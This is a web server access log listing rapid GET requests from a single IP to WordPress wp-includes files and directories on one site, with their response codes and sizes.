45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/rest-api/ HTTP/1.1" 200 1259 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/class-phpass.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/class-wp-taxonomy.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/class-wp-http-streams.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/load.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/blocks/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/abilities.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/class-walker-page.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/meta.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/l10n/ HTTP/1.1" 200 916 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/Requests/ HTTP/1.1" 200 793 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/ai-client.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/class-wp-list-util.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/class-wp-block-type.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/class-wp-theme-json-data.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/class.wp-styles.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/block-patterns/ HTTP/1.1" 200 1437 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/php-ai-client/ HTTP/1.1" 200 854 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/widgets/ HTTP/1.1" 200 1692 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:20 -0400] "GET /bft.com.tw/wp-includes/class-avif-info.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/class-requests.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/class-wp-block-bindings-registry.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/class-wp-user-meta-session-tokens.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/class-wp-widget-factory.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/class-wp-block-metadata-registry.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/class-wp-xmlrpc-server.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/registration-functions.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/connectors.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/SimplePie/ HTTP/1.1" 200 852 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/block-i18n.json HTTP/1.1" 200 149 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/class-wp-image-editor-gd.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/class-wp-customize-setting.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/template-canvas.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/ID3/ HTTP/1.1" 200 1616 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/class-wp-user-query.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/class-wp-image-editor.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/embed.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/class-wp-recovery-mode-key-service.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/nav-menu-template.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/functions.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/session.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/cache.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/class-wp-ajax-response.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/class-wp-customize-manager.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/class.wp-scripts.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/class-wp-block-parser-frame.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/feed-rss2-comments.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/ms-settings.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/post.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/embed-template.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/ms-functions.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/wp-db.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/admin-bar.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/class-wp-session-tokens.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/formatting.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/class-wp-block-processor.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/block-template-utils.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/assets/ HTTP/1.1" 200 859 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/class-feed.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/class-wp-http-curl.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/class-wp-http.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/class-wp-scripts.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:21 -0400] "GET /bft.com.tw/wp-includes/abilities-api/ HTTP/1.1" 200 883 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/canonical.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/rewrite.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-oembed.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/script-loader.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wp-admin-bar.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wp-phpmailer.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wpdb.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/fonts.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/build/ HTTP/1.1" 200 893 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wp-customize-panel.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wp-dependency.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wp-post.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/ms-default-filters.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/ms-site.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/robots-template.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wp-http-response.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/media.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/bookmark-template.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/category.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wp-block-list.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/default-constants.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/theme-previews.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wp-recovery-mode-email-service.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/ai-client/ HTTP/1.1" 200 890 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wp-editor.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wp-fatal-error-handler.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wp-token-map.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wp-user.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/ms-blogs.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/ms-deprecated.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wp-filter-sentinel.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wp-icon-collections-registry.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wp-text-diff-renderer-table.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wp-theme-json.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/class-wp-walker.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/date.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:22 -0400] "GET /bft.com.tw/wp-includes/html-api/ HTTP/1.1" 200 1517 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
